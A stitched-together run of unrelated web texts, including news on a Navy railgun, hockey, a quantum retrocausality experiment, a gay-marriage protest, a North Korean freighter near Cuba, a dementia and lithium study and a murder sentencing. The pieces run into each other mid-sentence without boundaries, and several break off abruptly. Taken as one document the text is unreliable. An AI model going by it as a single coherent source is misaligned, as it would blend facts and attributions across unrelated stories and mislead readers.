Now it's on to the next phase of the project. According to Ellis, that phase includes demonstrating that it's possible to fire a railgun at a rate of 10 rounds per minute, as well as doing new kinds of thermal and cooling tests. Ellis also said that while the Office of Naval Research has said that the railgun could be ready by 2025, that timing is when the work on the science and technology side of things could be done. Actual deployment could take longer owing to financial and political considerations.Martin Erat had a hat trick of penalties tonight against the New York Rangers. They were all costly.
Erat’s first period hook of John Moore led to a Rick Nash power play goal. His interference minor in front of the net negated what would have been potentially a game-changing Mike Green tally. Finally, late in the second period he speared Brian Boyle in the nards so hard that he may never be able to have kids. I guess that’s what the Rangers center gets for sitting on the puck in the defensive zone and refusing to move it.
GIF by welshhockeyfan
Ouch. That looks painful.
I have a feeling that the Martin Erat era in Washington has ended — like, just now. Fare well, Marty.
Keith Jones on Martin Erat: "It's time to send this guy home. [That should be his] last shift tonight. Last shift on this team." — Ian Oland (@ianoland) January 20, 2014
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PinterestNew experiments conducted at Washington University St. Louis offer a further demonstration of one of the quantum world's more difficult implications: time symmetry. That is, as shown by the physicist Kater Murch and his group, the future influences the present. What might be done to a particle five minutes from now helps determine what happened to the particle five minutes ago.
We are doomed to time because of organization. We have pasts, which are just spaces of non-possibility. The past for us is a fixed guideway, a steady elimination of options culminating in this here—and this now. And this forward-universe seems like a reasonable thing, if anxiety-inducing.
In the Grand Central Terminal of everything, we've stood at the departures board and made a selection, boarded a train, and here we are on an express to Newbury (or wherever). We've left every other train and destination behind, and those trains have all themselves left, and you aren't on any of them. Their destinations are unavailable.
Why should it be so? Well, causality for one. We're strung along in a generally forward direction by things occurring that cause other things to happen or cause other things to be much more likely to happen. It would seem that the alternative is for nothing to ever happen at all, leaving us to just stand there staring at the departures board, never choosing but never really happening either.
So, that's life, but our lived reality is hardly everything. If the universe has a more fundamental perspective on time, it may be in disregarding time completely. Such is existence in the quantum realm, where the events of our classical world are traded for indeterminate states where all possibilities are allowed to coexist as though a landscape, rather than the singular frames of "present" we usually experience. This is time as space, where every direction is as valid as north, south, east, and west.
A consequence of time as space is retrocausality, in which is the future is free to influence the past. Imagine if at some future point, you were to learn something, some piece of new information. This new information would in a time-agnostic world (somehow) reach you still in Grand Central undecided, and then you would choose based on this nugget from the future. The cause has not occurred yet, but somehow it manages to have an effect in the past. This has some obvious problems.
The general idea being probed by Murch and his team is properly called post-selection. Instead of Grand Central Terminal, imagine a quantum state as a coin stuck in a state of continuous flippage, just spinning there in mid-air refusing to fall and choose between heads or tails. That's quantum reality, for the most part, which happens to be the fabric of everything. We can make this quantum reality behave "normally" by making a measurement of it, forcing it to become either heads or tails. But no matter how long we've watched the coin spin around, we can still only give even odds of either outcome. Observing the coin's past makes no difference here.
That's just what it is to be indeterminate. The coin is both heads and tails, at once 100 percent heads and 100 percent tails. A superposition. Murch's experiment replaced the coin for a qubit, which is some particle that is prepared in such a way that it exists in a superposition of two different states. The team played a guessing game of sorts in which the particle was measured, forcing it to choose one and only one state, but the results of that measurement were hidden from the experimenters.
The objective world simply is, it does not happen.
Murch and his team then performed a series of "weak" measurements on the particle. A weak measurement is a sort of trick super-low energy measurement in which the particle and the measuring device are coupled together in such a way that some limited information can be gathered about the particle without disturbing it. The basic idea is that a quantum state can be measured very weakly but with many repetitions, allowing for a meaningful answer based on statistics through time.
And watching the experiment progress forward through time, it remains impossible to say beyond 50/50 odds what the actual final state of the particle will be in. But, if you follow the experiment backwards, following the particle's timeline from its future to its past, Murch and co. found that they could up their odds to 90 percent correctness. The implication is that everything that happened to the particle/state after the strong measurement, influences the strong measurement itself... in the past.
"We have demonstrated the use of the quantum trajectory formalism to infer the quantum state of a superconducting qubit conditioned on the outcome of continuous measurement," Murch and his group conclude. "We have also demonstrated a quantum hindsight effect, where probing of a quantum system modifies and improves the predictions about measurements already performed in the past."
"I always thought the measurement would resolve the time symmetry in quantum mechanics," Murch notes in a separate statement. "If we measure a particle in a superposition of states and it collapses into one of two states, well, that sounds like a process that goes forward in time."
Murch's results aren't some kind of one-off. A steady stream of experiments, conducted mostly in the past five or so years, have offered similar findings. As we probe the future of some quantum thing, it appears to effect that thing's past. Not entirely, of course, but significantly or non-trivially.
Interpret that how you will. We're still great big organizations of particles, not particles, and so are subject to entropy and all of its trappings (like time). But, at the quantum level, indeterminate-ness is being slowly chipped away, leaving something that looks a bit more like a closed loop. What is was and will be, or, as the mathematician and physicist Hermann Weyl put it in 1949, "The objective world simply is, it does not happen." And yet we don't quite live in that world.
"I do think much about the philosophy of this, but it takes a while and several experiments to draw conclusions," Murch told me. "The classical world is very different from the quantum, objects have definite states and local properties, two things that quantum states do not. So in the classical world it is no surprise that hindsight is 20/20, but since uncertainty and indefiniteness are intrinsic to quantum things, hindsight is not so straightforward."
In one of his famous lectures, Richard Feynman talked about this whole mess—and what messes even are and how messes drive time and fashion it into an arrow. An arrow of messes. Which is what happens when you add up a bunch of closed loops, building and building into huge things like human brains.
"As we go up in this hierarchy of complexity, we get to things like muscle twitch, or nerve impulse, which is an enormously complicated thing in the physical world, involving an organization of matter in a very elaborate complexity," he said. "Then come things like 'frog'. And then we go on, and we come to words and concepts like'man', and 'history', or 'political expediency', and so forth, a series of concepts which we use to understand things at an ever higher level."
Feynman continued: "And going on, we come to things like evil, and beauty, and hope... Which end is nearer to God; if I may use a religious metaphor. Beauty and hope, or the fundamental laws?"
Murch's paper can be found in open-access form at arXiv.org.This job posting is no longer available on Indeed.
MUST HAVE CRIMINAL RECORD FOR THIS POSITION!
CellMates is a Mobile App startup that seeks to connect its users.
Requirements:
- Strong proficiency in App Development and preferably a Bachelors, Masters or PhD in Computer Science.
- Excellent Knowledge of App Development programming languages (3 years of experience preferred *but negotiable*)
- Knowledge of other programming languages such as C Languages, HTML, JAVA, PHP, CSS, SQL or anything app, web or database related STRONGLY preferred.
- Experience working with GPS App data is preferred.
- Ability to work flexible hours.
If you do not have the preferred skills but are proficient in mobile App development (either or both iOS and Android) we still encourage you to apply!
We are currently located in Nashville, TN but you can work remotely from anywhere. Again: MUST HAVE CRIMINAL RECORD FOR CONSIDERATION. (You get screened for most jobs anyways, right? So don't be shy. : -))
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Required experience:A group of six gay marriage demonstrators from Hanover, Pa., set up camp on Frederick's Square Corner Monday, imploring drivers to honk their horns in agreement for their cause.
John Ritchie of Hanover, Pa., spokesman for the group, identified as the American Society for the Defense of Tradition, Family and Property in its literature, said the group traveled from Hanover because "same-sex marriage is being pushed on Marylanders."
"We're traveling all over Maryland because same-sex marriage... undermines the stability of the family," he said. "If you remove procreation from marriage, you're destroying the idea of marriage."
The group set up at the corner of Market and Patrick streets at about 11 a.m. and left by 1 p.m., as drivers intermittingly drove by honking their horn. Three officers from the Frederick Police Department observed the protest for about 20 minutes before departing.
Ritchie said the group also planned to demonstrate in Annapolis and Baltimore, as well as several unnamed cities during the next two weeks. The group will protest not just the bill for same-sex marriage in the state legislature but also homosexuality in general.
"There's a homosexual agenda seeking to establish itself," he said. "Children as young as 6 or 7 are being told that homosexuality is OK."
A bill to give gay couples the right to marry will move to the Maryland House of Delegates, after the Judiciary Committee signed off on the measure in a 12-10 vote Friday afternoon.
Passage would make Maryland the sixth state to legalize gay marriage. Last year, an opinion by Attorney General Douglas F. Gansler (D) said Maryland would recognize same-sex marriages performed in other jurisdictions, including Washington, D.C.
Republicans have vowed to fight the bill if it passes by collecting the more than 55,000 signatures needed to put the question on the ballot. The House is expected to take up the bill sometime this week.
Jeff Stratyner of Frederick spent about 30 minutes arguing with one of the protesters, who would not agree to an interview. "I think we got down to what his real problem was," Stratyner said. "He's against homosexuality."
He said he was initially outraged when speaking to the protester, but became more civil during their conversation. "I wasn't civil, but I calmed down," he said. "It's not really fair to be yelling and stuff. They're having a civil protest."
Several employees from Frederick's Café Nola also came out to counter-protest the demonstration. Lydia Landau of New Market and Jennifer Clusman of Frederick held hands and kissed in front of the protesters, though the two are both heterosexual.
"We're just friends," Clusman said. "We both have boyfriends."
Clusman said they saw the demonstration through the restaurant's windows, and felt compelled to respond.
"It's really hard to watch that in a town of people you think are so welcoming," she said. "Why's it so hard to accept somebody?"
[email protected]: Combat Evolved included a feature called "weapon launching" that allowed you to use the blast from a carefully thrown grenade to cause a weapon to fly towards you. With a bit of practice, and a knowledge of where to stand and look before throwing the grenade, it's possible to collect weapons from across the map.
Here's an example from Combat Evolved:
Weapon launching is back in Halo 5, and you can see some examples of the practice in the video at the top of this story. You'll even earn the "Combat Evolved" medal for pulling this move off successfully, just in case you're wondering if this was a deliberate throwback to the classic days of the franchise.
It's an interesting gambit to bring back to the game, and it's going to be fun to see what competitive players are able to do with this trick as the beta continues.I recently discovered an important little book from the 1960’s, written about an era 40 years prior. David Burner was a well-regarded history professor who passed away only a few years ago, probably most famous for his biography of Herbert Hoover. Yet his dissertation book is what struck me, titled The Politics of Provincialism: The Democratic Party in Transition, 1918-1932 (Knopf, 1968), the book describes how, to quote it opening sentence, “in the years of Republican ascendancy from 1920 to 1932, the national Democratic party transformed itself from an institution largely rural in its orientation and leadership to one that embodied the aspirations of the American city dweller—and most notably, the urbanite of immigrant stock.”
This tension between city and country—and its relative role in determining national elections—is nothing new in American—and by, extension, English—politics, and there are ever more op-ed’s every day, both pro and con, about how Democrats should think about rural communities. (Friendly facebook commenters reminded me, when I posted this yesterday at facebook, that the urban/rural division is also a mainstay of classical sociological theory and the work of Ibn Khaldun—thanks Graham Peterson and Nick Tampio!)
Yet it’s worth remembering that at one point it was Republicans who were the party of Yankee elites and Democrats the party of rural distaste for cities, especially that particular urban mélange of snooty elites and people-not-like-us (whether Jews, Italians and Irish then or African Americans, Latinos, and Muslims now). These historical transfers are not as clean as I’m describing them here, and race obviously has a huge part to play in this story. Yet this is the common message we all get, more or less: the Democrats placated angry whites as long as they could, ignoring Jim Crow, giving preference to whites in the New Deal and GI Bill, and only really having to turn around under LBJ’s passage of the Voting Rights and Civil Rights acts, after which Nixon and Republicans cemented the Southern Strategy and the parties traded places.
That story’s not wrong, but it ignores the way in which whiteness was itself very much a product under construction. Burner’s chapter on the Klan is quite good on this, focusing on how Democrats disagreed about how much they should hate Catholics, among other things. This comes to a head in 1928, in which there was a real election in the South for the first time since Reconstruction, pitting Southern white supremacy against Southern anti-Catholicism (unsurprisingly, white supremacy won). While Burner does pay attention to race in these discussions, my one real complaint is that he should have done a lot more of it.
His last page has an important quote: “In 1932, Roosevelt’s candidacy sealed together in common cause farmers and laborers, natives and foreign stock, country and city.” Burner attributes this to quite a few causes, but his most striking is his last one, “the crucible of the depression—which substituted for the divisions of culture and ancestry the common identity of the dispossessed” (252). That insight parallels recent claims that Obama only got elected at all because the recession was just so bad, yet it’s striking how, in Burner’s description of folks coming together, he leaves out African Americans, who had obviously already been in northern cities and were entering them in much greater numbers in the great migration. It’s a big problem for the book, but I’d still recommend checking it out for a careful study of an important change in American history.
One other bit: it’s interesting how much prohibition in that era mirrors urban/rural fights in our own, especially regarding the strong sense of moral urgency, manifested in a deep inability for some to live and let live precisely because to live in a certain way seems contrary to the good life itself. There’s an interesting article to be written about the parallels being worrying about someone else’s drinking and worrying about someone else’s sex life. What’s easy to lose here is how of course that worrying is sometimes very much about a kind of hatred but-and this is the bit that’s often forgotten–it is just as often about a kind of (deeply misdirected, patronizing, other negative adjectives) love, honestly believing that the good of society at large and the individual in question would be better grasped by living life as particular moralists would have you live it. Looked at this way, an obsession with grit in contemporary education reform and all sorts of other ways of thinking about “urban” problems take on a new light.
So: a kind of religious moralism within the Democratic party regarding prohibition allied itself with a kind of religious fundamentalism and nativism. Eventually, cities forced the Democratic party to chill out a bit, and the Depression helped many people to come together. Many, but not all. And so, about 50 years later, this otherwise quite good book about American politics has a lot of important things to say yet isn’t nearly sophisticated enough about race. Americans’ stories actually do change, but it’s striking how often they stay the same.
AdvertisementsFor the first month of the NBA season, the Wizards had no bench, the stars had no chemistry, and there was not much flexibility for the future. The closer you looked, the darker it got. Even October's measured optimism looked ridiculous by the end of November. And to understand what changed since then |
Liberal leader also commented on Conservative ads placed in Chinese and Punjabi publications alleging the Liberals want to make marijuana more easily available, legalize prostitution and open injection sites in more neighbourhoods.
Trudeau was reacting to Conservative attack ads in ethnic media outlets 0:54
"I think we've seen over the course of this campaign — and indeed over the course of Mr. Harper's government — that he never misses an opportunity to divide, to play up fear and division and even to directly mislead Canadians," Trudeau said.
The Liberal leader is continuing to campaign in Ontario today, making stops in St. Catharines and Welland before heading to Ajax tonight for a rally in the riding of Citizenship and Immigration Minister Chris Alexander.Sen. Lisa Murkowski (R-Alaska) AP Lisa Murkowski (R-Alaska) is the third Republican senator to support gay marriage.
In a passionate statement released Wednesday, Murkowski said that our nation's current laws consign same-sex couples to "a second-class existence."
She also argued that marriage equality is "a personal liberty issue":
I believe that, as Americans, our freedoms come from God and not government, and include the rights enumerated in the Declaration of Independence: life, liberty and the pursuit of happiness. What could be more important to the pursuit of happiness than the right to choose your spouse without asking a Washington politician for permission? If there is one belief that unifies most Alaskans - our true north - it is less government and more freedom. We don't want the government in our pockets or our bedrooms; we certainly don't need it in our families.
She also argued that marriage has been weakening as an institution and extending marriage rights to same-sex couples would strengthen it:
With the notion of marriage - an exclusive, emotional, binding 'til death do you part' tie - becoming more and more an exception to the rule given a rise in cohabitation and high rates of divorce, why should the federal government be telling adults who love one another that they cannot get married, simply because they happen to be gay? I believe when there are so many forces pulling our society apart, we need more commitment to marriage, not less.
Murkowski is the third Republican senator to support gay marriage. Sen. Rob Portman (R-Ohio) and Sen. Mark Kirk (R-Ill.) announced their support earlier this year.
In March, Murkowski told the Alaska Star that her views on marriage equality were "evolving."
Murkowski has supported pro-gay rights legislation in the past. In 2010, she was one of eight Republican senators voting to end the military's "Don't Ask, Don't Tell" policy on homosexuality.Posted 7 years ago on Nov. 23, 2011, 1:46 p.m. EST by OccupyWallSt
On Friday, November 25th, Occupy Seattle will join Occupy Tacoma, Occupy Bellingham and Occupy Everett in a statewide protest at Wal-Mart in Renton at 2:00pm.
With its long history of mistreating workers and suppliers, its recent announcement of significant cutbacks on employee health care, and its obscene profits, Wal-Mart is a prime example of how the 99% are suffering at the hands of the 1%.
Wal-Mart is the largest corporation in the world and proof positive of how big business is destructive to our democracy. While Americans are shopping at Wal-Mart, Wal-Mart is buying Congress. Last year, Wal-Mart paid over $4.3 million in campaign contributions (not to mention the monies funneled through donations to lobbying organizations) to protect its interests.
Unfortunately, its interests are not those of its employees. With $14.3 billion in profits in 2010, Wal-Mart still saw fit to eliminate health insurance coverage for part time employees, cut company contributions to employee health savings accounts by 50% and increase health care premiums 17% to 61% for over 2.1 million employees worldwide. According to an article in the Huffington Post, the average Wal-Mart worker makes $8.81 per hour, while the CEO makes $8990.00 per hour.
The Walton family (the largest shareholders of Wal-Mart stock and descendants of its founder) is the wealthiest family in the United States with an estimated net worth of $92 billion (according to Forbes’ latest ranking). That’s more wealth than the bottom 40% of Americans combined. They directly gave $7,000,000 in political contributions in 2010 and billions more through their family foundations in an effort to buy our legislative process. It’s time to Occupy Wal-Mart, to shine the spotlight on its many abuses and to support its millions of workers in their struggle for a living wage. Transportation will be leaving from Westlake Center starting at 12:30pm.
Contact: [email protected]
Phone: 206-552-0377
URL: www.occupyseattle.orgIt’s not often that North Korean-flagged freighters turn up near America’s shores, but when they do, they deserve attention. North Korea has a prolific record of arms smuggling, narcotics dealing, counterfeiting, terrorist ties and missile and nuclear proliferation. So, let’s hope U.S. authorities are keeping a close eye on a North Korean cargo ship called the Mu Du Bong, which late last month called at Cuba, then vanished from the commercial shipping grid for more than a week. This past Thursday, July 10, the Mu Du Bong reappeared at Havana, then began steaming north of Cuba, and as of this writing is cruising the Gulf of Mexico, not all that far from the Mexican port of Tampico -- or for that matter, the coast of Texas.
The Mu Du Bong’s mission could be entirely legitimate. But its behavior bears some disturbing similarities to last year’s voyage of another North Korean freighter, the Chong Chon Gang, which last summer sailed into the Caribbean, picked up an illicit load of weapons in Cuba, and got caught trying to smuggle its cargo through the Panama Canal.
Acting on a tip, Panamanian authorities searched the Chong Chon Gang. They discovered some 240 tons of arms and related materiel, including two disassembled MiG-21 jet fighters, additional MiG engines, surface-to-air missile system components, night vision goggles and ammunition -- all hidden under more than 200,000 bags of Cuban sugar.
Documents found on board the Chong Chon Gang proved a trove of information for members of the United Nations Panel of Experts on North Korea sanctions, who summarized some of their findings in a UN report released this past March. The U.N. investigators were able to reconstruct an array of techniques with which the Chong Chon Gang tried to hide its illicit mission. They concluded that both the arms shipment and the related transaction between North Korea and Cuba had violated U.N. sanctions on North Korea.
The U.N. report describes how the Chong Chon Gang set out in mid-2013 from North Korea, took on fuel in a Russian Far East port, crossed the Pacific and transited the Panama Canal into the Caribbean. The ship then disappeared from the commercial shipping grid by switching off its onboard transponder, the Automatic Identification System (AIS), with which vessels for reasons of maritime safety are required to signal their identity and real-time location.
While its transponder was switched off, the Chong Chon Gang discharged cargo in Havana, then drifted around north of Cuba for about 10 days, then made a covert stop at the Cuban port of Mariel -- where the weapons were loaded on board. The ship then called at another Cuban port, Puerto Padre, where the sugar, a legitimate cargo, was loaded on top on the contraband.
Now comes the Mu Du Bong, a North Korean-flagged general cargo ship, launched in 1984. This vessel is named after a hill in North Korea near Mount Paektu, a locale central to the mythology with which North Korea's totalitarian regime has deified its founding tyrant, Kim Il Sung.
According to ship-tracking information on Lloyd’s List Intelligence, the Mu Du Bong has spent the past three years plying the coast of China, close to North Korea. In April, that changed. The Mu Du Bong called at the Russian Far East port of Nakhodka, then crossed the Pacific, transited the Panama Canal in mid-June, and made for Cuba. On June 25, she signaled on AIS a few miles off the port of Mariel; then signaled again on June 29 and 30 from the nearby port of Havana.
Then, for nine straight days, from July 1-9, the Mu Du Bong stopped signaling on AIS, and disappeared from the commercial shipping grid. It’s possible the ship was simply sitting quietly at anchor. But there are echoes here not only of the Chong Chon Gang, but of a number of other North Korean-flagged freighters which over the years have followed this pattern of dropping off the grid in the vicinity of Cuba. In congressional testimony last September, illicit-trafficking expert Hugh Griffiths, of the Stockholm International Peace Research Institute, described this practice as “a common risk indicator of maritime trafficking.” (Iran in recent years has used the same tactic to mask sanctions-busting activities of its oil tankers).
According to ship-tracking data logged by Lloyd’s, the Mu Du Bong recently reappeared on commercial radar, on July 10, again signaling from Havana. Since then, the ship has signaled as sailing north and west, into the heavy shipping traffic in the Gulf of Mexico.
Who is behind the North Korean-flagged Mu Du Bong? On what errand did this ship just call at Cuba, and on what business is it now in the Gulf of Mexico? Publicly available information is either a muddle (in the case of its ownership), or nonexistent (regarding its cargo). Two respected shipping databases, Lloyd’s List Intelligence and Equasis, give different accounts of the Mu Du Bong’s precise pedigree. Both point to the government of North Korea.
According to Lloyd’s, the Mu Du Bong’s beneficial owner is the government of North Korea, but its registered owner is a company in Thailand, called Mariners Shipping and Trading Company Limited. When I phoned this company’s Bangkok number, the phone was answered by someone who gave his name only as Mr. Chanvit, which is the name listed by Lloyd’s as the company’s manager. Chanvit, who spoke good English, said that Mariners Shipping and Trading normally acts not as a ship owner, but as an agent. Asked about the Mu Du Bong and any connections with Cuba and North Korea, Chanvit declined to answer any more questions over the phone. He asked that such queries be submitted by email, which I did. There has been no response.
There does appear to be a company in Thailand at the same address, with an almost identical name -- Mariner’s Shipping and Trading Company (the difference from the name given on Lloyd’s being the addition of an apostrophe) -- in which North Korea’s state news agency over the past 11 years has taken a cordial interest. Is it coincidence?
In 2003 and 2004, the Korean Central News Agency (KCNA) reported that Mariner’s Shipping and Trading in Thailand had hosted cultural events commemorating the works of Kim Il Sung. More recently, in 2012, KCNA reported that an unnamed “director” of Mariner’s Shipping and Trading, while attending a celebration of North Korea’s Kim dynasty rule, had rhapsodized about North Korea’s state doctrine known as songun -- which gives first priority to the North Korean military in the allocation of resources. In the words of a Sept. 4, 2012 item from KCNA: “The director of the Mariner’s Shipping and Trading Company of Thailand stressed that Songun is the best way of defending the sovereignty of the country and the nation at present when the imperialists are becoming all the more undisguised in their high-handed and arbitrary practices.”
Lloyd’s also lists as a contact for the Mu Du Bong a company called Korea Tonghae Shipping Company, based in Pyongyang. According to a 2012 UN report, Korea Tonghae Shipping was designated by Japan as a major North Korean ship-owning company “associated with the illegal exports of WMD-related goods and equipment and etc. from Japan to the DPRK.”
On the Equasis shipping database, the Mu Du Bong is listed as owned by the Mudubong Shipping Co Ltd, in Pyongyang, with an address care of Taedonggang Sonbak Co Ltd, also in Pyongyang. According to the 2014 UN panel of experts report on North Korea sanctions, the commercial operator for Taedonggang Sonbak is another Pyongyang-based company, called Ocean Maritime Management Company Ltd -- which was the commercial operator for the arms-smuggling Chong Chon Gang, and “played a key role in arranging the shipment of the concealed cargo of arms and related materiel.”
The questions multiply. Who is providing insurance for the Mu Du Bong? (Lloyd’s, usually a source for such information, shows nothing). With a number of North Korean banks under U.S. sanctions, who paid the fees for the Mu Du Bong's passage last month through the Panama Canal?
What might the U.S. do? To date, the U.S. government has not imposed sanctions on North Korean vessels. If the Mu Du Bong heads home by way of the Panama Canal, presumably Panama’s authorities could be asked, politely, to check the cargo. But there is no guarantee this ship will head back through the canal. This is not the Mu Du Bong’s first trip to Cuba. She called there previously, in 2009. On that trip, the Mu Du Bong entered the Caribbean via the Panama Canal, but exited by a different route. After calling at Cuba she plied the Atlantic for months between Latin America and West Africa, with port calls in Brazil, Ghana, the Ivory Coast, Sierra Leone and Senegal, before heading around the Horn of Africa and back to East Asia with stops enroute in Qatar, Bangladesh, Vietnam and Singapore.
Perhaps it’s unlikely that North Korea would so brazenly attempt another smuggling run so close to America’s shores, so soon after the seizure of the Chong Chon Gang. But in dispatching the Mu Du Bong via the Panama Canal to Cuba, Pyongyang is at the very least sticking a thumb in America’s eye, and quite possibly testing the waters for future smuggling runs.
Claudia Rosett is journalist-in-residence with the Foundation for Defense of Democracies, and heads its Investigative Reporting Project.Attorneys for former Texans defensive lineman Mario Williams and his former fiancée met with a mediator for three hours on Friday but were unable to reach an agreement in a lawsuit that Williams filed seeking to recover a 10.04-carat diamond engagement ring valued at $785,000.
Houston attorney Tony Buzbee, who represents former Texans employee Erin Marzouki, said no additional mediation sessions have been scheduled and added, “I guess we are going to let the court sort it out.”
Williams was scheduled to appear Friday at a hearing before 80th state District Judge Larry Weiman, but Buzbee said the judge encouraged the parties to work with a mediator toward a settlement.
“Texas law says that if the man breaks off the engagement, the woman keeps the ring,” Buzbee said. “Mr. Williams experienced dramatic mood swings throughout the engagement. It was during one of his low points that he broke off the engagement for the last time this past December. It was only after Ms. Marzouki refused to take him back that he became angry and filed this frivolous case.
“He should have not filed a case out of anger. Ms. Marzouki will not be bullied. In the court system, no matter how rich you are, everyone is treated equally.”
With depositions and other matters to be completed, it could be several months, if then, until the case comes to trial.
Williams, the former Texans first-round draft choice who now plays for the Buffalo Bills, filed suit last week in Harris County state district court against Marzouki.
He said in the suit that Marzouki “unilaterally terminated” the engagement on Jan. 21, 2013, and has refused Williams’ request to return the diamond engagement ring, which she had promised to do if the engagement ended.
Buzbee, however, countered that Williams broke the engagement at least five times and made the final decision to end marriage plans. He also said Williams lied when he said in the suit that he gave Marzouki an American Express card on which she charged $108,000 in personal expenses. Most of those expenses, Buzbee said, were for expenses at Williams’ homes.
Buzbee has attempted to paint a picture of Williams in his replies to the lawsuit as emotionally unstable and unable to decide his plans for or against marriage.
Friday, he released a three-page series of text messages sent to Marzouki’s mobile phone in which Williams wrote on Nov. 11, “I took 3 hydrocodones this morning and no one knows” and “I’m going to take 2 more on the plane and fade away.” He also texted “No money in the world should leave me with suicidal thoughts.”
In a message on the same day, Marzouki replied, “You told me you’re having suicidal thoughts. Clearly me & you don’t need to talk after every mean thing you said to be, but I’m going to tell DD to call you or something BC you went above and beyond saying suicidal thoughts, taking pills. Someone that you trust needs to intervene.”
Williams’ attorneys, Monica Schultz Orlando and Michael Gary Orlando, have not replied to several requests for comment on the case.Xiaomi has quietly launched yet another cool gadget, this time around a compact-sized camera. The camera is dubbed the MIJIA Compact Camera and is already available to buy on Xiaomi’s Mi Mall. The camera comes with a number of features, one of which is the ability to record 4K videos and in Xiaomi’s usual way, it has a cheap price tag of 699 Yuan (~$105).
The MIJIA Compact Camera comes with a compact size which can easily fit into the pocket. Specifically, it has a dimension of 71.5 x 42.7 x 29.5mm and weighs 99g. It sports a 2.4-inch touchscreen display for easy access to the photo gallery and to also play back video recordings. From the display, the shooting mode can be switched between picture and video modes. Other image settings can also be adjusted right from the display.
Inside, the Xiaomi camera packs an Ambarella A12S75 chip with 3D motion noise reduction and comes with lens distortion correction and support for RAW file format. The processor is the same used on professional motion cameras. The camera also uses a Sony IMX317 sensor with f2.8 aperture, 145° wide angles, and can capture pictures at 3840 x 2160 pixels (4K) and record 4K videos at 30 fps. It features 6-axis image stabilization (Electronic Image Stabilization) which includes 3-axis gyroscope and 3-axis accelerometer. Shooting modes include slow motion, time lapse, and high-speed continuous shot. The battery can last up to 2 hours when shooting 4K videos and 3 hours during 1080p video shoot. It also supports WiFi and Bluetooth connectivity and comes with an SD card slot which can take a maximum of 64GB SD card.
Read More: Get Xiaomi Scooter for just $379.99 from Lightinthebox!
The Xiaomi MIJIA Compact camera will be sold exclusively on Xiaomi Mall, Mi Home, and Lynx and as stated earlier, is presently available for just 699 Yuan ($105).Image copyright Getty Images
People with higher levels of lithium in their drinking water appear to have a lower risk of developing dementia, say researchers in Denmark.
Lithium is naturally found in tap water, although the amount varies.
The findings, based on a study of 800,000 people, are not clear-cut. The highest levels cut risk, but moderate levels were worse than low ones.
Experts said it was an intriguing and encouraging study that hinted at a way of preventing the disease.
The study, at the University of Copenhagen, looked at the medical records of 73,731 Danish people with dementia and 733,653 without the disease.
Tap water was then tested in 151 areas of the country.
The results, published in JAMA Psychiatry, showed moderate lithium levels (between 5.1 and 10 micrograms per litre) increased the risk of dementia by 22% compared with low levels (below five micrograms per litre).
However, those drinking water with the highest lithium levels (above 15 micrograms per litre) had a 17% reduction in risk.
The researchers said: "This is the first study, to our knowledge, to investigate the association between lithium in drinking water and the incidence of dementia.
"Higher long-term lithium exposure from drinking water may be associated with a lower incidence of dementia."
Brain-altering
Lithium is known to have an effect on the brain and is used as a treatment in bipolar disorder.
However, the lithium in tap water is at much lower levels than is used medicinally.
Experiments have shown the element alters a wide range of biological processes in the brain.
This broad impact could explain the mixed pattern thrown up by the different doses, as only certain dosing sweet-spots change brain activity in a beneficial way.
Prof Simon Lovestone, from the department of psychiatry at the University of Oxford, said: "This is a really intriguing study.
"In neurons in a dish and in mouse and fruit-fly models of Alzheimer's disease, lithium has been shown to be protective.
"Not only that, but lithium is used to treat people with bipolar disorder and some studies have suggested that people on lithium for this reason, often for life, might also be protected from Alzheimer's."
He said there should now be studies to see if regular, small doses of lithium could prevent the onset of dementia.
No therapy
At the moment, there is no drug that can stop, reverse or even slow the progression of the disease.
Dr David Reynolds, from the charity Alzheimer's Research UK, said: "It is potentially exciting that low doses of a drug already available in the clinic could help limit the number of people who develop dementia.
"[Our analysis] suggests that a treatment that could delay dementia by just five years would mean that 666,000 fewer people develop dementia by 2050 [in the UK]."
The problem with this style of study - which looks for patterns in large amounts of data - is it cannot prove cause-and-effect.
Prof Tara Spires-Jones, from the Centre for Discovery Brain Sciences, at the University of Edinburgh, said: "This association does not necessarily mean that the lithium itself reduces dementia risk.
"There could be other environmental factors in the area that could be influencing dementia risk.
"Nonetheless, this is an interesting result that will prompt more research into whether lithium levels in the diet or drinking water may modify risk of dementia."
Follow James on Twitter.URBANA — Yongfei Ci admitted to a Champaign County judge Wednesday that he knew what he was doing last September when he brutally murdered his former girlfriend after terrorizing her in her apartment for hours.
Acknowledging that he had done a "horrible thing," the 30-year-old former University of Illinois mathematics doctoral student asked Judge Heidi Ladd "to see me not through this single act but my life prior to this offense."
In imposing a sentence of 46 years in prison, Ladd apparently did consider Ci's life before he murdered Mengchen Huang, 25, on Sept. 27, 2013.
The veteran jurist and former prosecutor gave Ci four fewer years in prison than the cap that Assistant State's Attorney Steve Ziegler had agreed to when Ci pleaded guilty to Miss Huang's first-degree murder in May.
Miss Huang, a UI doctoral student in Chinese art, was stabbed repeatedly in the throat by Ci in the bedroom of her apartment in the 1300 block of North Lincoln Avenue in Urbana. Her roommate was in a nearby bathroom, hearing the torture. Although Ci threatened to kill her, she was not physically injured.
Police investigation revealed that Ci had meticulously planned the attack for at least a week, even reducing to writing what Ladd described as his "sadistic script."
Arguing for the 50-year sentence, Ziegler said Ci's motivation was about two things: "obsession and control."
"Control of the life of a young woman and his frustration at not being able to control her life," he said.
Ziegler spent several minutes reviewing for Ladd the events in the couple of weeks leading up to Miss Huang's death.
Miss Huang had broken up with Ci in early September while he was at Brown University in Providence, R.I., in a visiting scholar program. Ziegler said Ci continued to send her texts and emails, most of which she declined to answer.
On Sept. 20, he purchased online a pellet gun, which looked like a real gun, and paid extra for next-day shipping. He did the same with two knives. The next day, he bought a mock silencer for the gun, again paying extra for expedited delivery.
"He's in a hurry," Ziegler said.
On Sept. 23, he sent emails to Miss Huang and her current boyfriend asking if they were having sex. He texted her too. "He's taunting her. He's trying to control her." That same day, he bought duct tape and rope from a Wal-Mart in Providence. And on Sept. 24, he made a reservation for Sept. 26 at a Champaign motel.
"This is a very well-planned event. This is not an action of passion, spur of the moment. It was extraordinarily cold and calculated," Ziegler said.
On the afternoon of Sept. 26, he sent Miss Huang texts saying he was ready to accept their breakup and move on, even while he was in a Champaign motel room. He told her he was going to New York City for the weekend and her reply to him — her last — was to urge that he drive safely.
That same night, he stood outside her apartment waiting for an opportunity to go in but decided there were too many people present. He returned on the morning of Sept. 27 and around 8:10 a.m. confronted Miss Huang's roommate as she came out.
